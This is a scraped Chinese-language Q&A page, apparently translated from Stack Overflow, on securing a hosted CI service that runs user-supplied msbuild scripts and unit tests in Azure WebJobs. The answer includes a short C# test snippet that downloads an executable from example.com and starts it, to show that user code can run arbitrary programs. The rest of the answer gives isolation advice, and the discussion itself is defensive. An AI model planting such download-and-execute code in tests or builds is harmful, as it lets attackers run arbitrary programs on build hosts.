Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/security/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Security 如何确保azure webjob代码执行的安全?_Security_Azure_Msbuild_Azure Webjobs - Fatal编程技术网

Security 如何确保azure webjob代码执行的安全?

Security 如何确保azure webjob代码执行的安全?,security,azure,msbuild,azure-webjobs,Security,Azure,Msbuild,Azure Webjobs,我正在构建一个允许用户执行msbuild脚本和可执行文件(nunit、nuget、vs test等)的产品。它是一个托管的持续集成服务。这些任务在azure webjob的上下文中运行。如何防止用户运行恶意代码 我们不允许用户直接运行可执行文件,但他们可以从单元测试或msbuild脚本中运行任何需要的内容。我能做些什么来防止他们伤害我的网络工作或运行“坏”的前男友吗?我不确定你在这个问题上考虑的范围是什么。但我不认为有一种简单的方法可以做到这一点,这是特定于WebJobs的。它必须是你在设计系统

我正在构建一个允许用户执行msbuild脚本和可执行文件(nunit、nuget、vs test等)的产品。它是一个托管的持续集成服务。这些任务在azure webjob的上下文中运行。如何防止用户运行恶意代码


我们不允许用户直接运行可执行文件,但他们可以从单元测试或msbuild脚本中运行任何需要的内容。我能做些什么来防止他们伤害我的网络工作或运行“坏”的前男友吗?

我不确定你在这个问题上考虑的范围是什么。但我不认为有一种简单的方法可以做到这一点,这是特定于WebJobs的。它必须是你在设计系统时要注意的东西

我们不允许用户直接运行可执行文件

事实并非如此。如果您正在运行用户代码,则不能再假定这一点。没有什么能阻止我写这样的单元测试,对吧

[测试]
公共静态RunRandomExe()
{
var webClient=新的webClient();
webClient.DownloadFile(“http://example.com/random.exe“,@”%temp%\random.exe“;
Process.Start(@“%temp%\random.exe”);
}
如果你在appsettings或env vars中有秘密,那么没有什么可以阻止单元测试读取它们并将它们发送到随机URL

您所能做的最好的事情就是以一种假设WebJob完全不可信的方式来设计您的系统。您必须假设您在应用程序设置、环境变量、文件系统等中输入的任何机密都可以被WebJob访问。WebJob留下的任何工件都可供后续运行访问,并且WebJob对机器所做的更改将影响后续WebJob等。见鬼,单元测试可以在机器上创建另一个WebJob,该机器可以运行并完全监视/接管您的站点

然而,好消息是Azure Web应用程序保证了独立的Web应用程序彼此完全隔离,并在非常紧密的沙盒环境中运行,即使它们运行在相同的物理VM上(即:在相同的应用程序服务计划中)

因此,如果你:

  • 创建一个站点
  • 运行webjob
  • 删除网站
  • 您将确保不会留下任何影响您的系统的东西

    当然,这并不能解决让WebJob访问机密的问题。唯一的解决方案是不让WebJob访问任何机密。把整个事情当作不可信的。因此,您可以拥有一个为您运行作业的网站池,触发作业运行,只信任作业的原始日志输出,并从池中删除网站并创建网站的替换。在主订阅中的站点中运行不受信任的代码的另一个主要问题是,您将授予不受信任的代码访问从Azure门户上载到订阅的任何证书的权限。因此,您必须在完全独立的订阅中的站点中运行这些不受信任的内容

    我知道这是一个巨大的麻烦,但我想不出任何其他方式来保证您的系统和用户的安全。如果您要运行不受信任的代码,那么您将处于一个复杂的世界中

    我希望这有帮助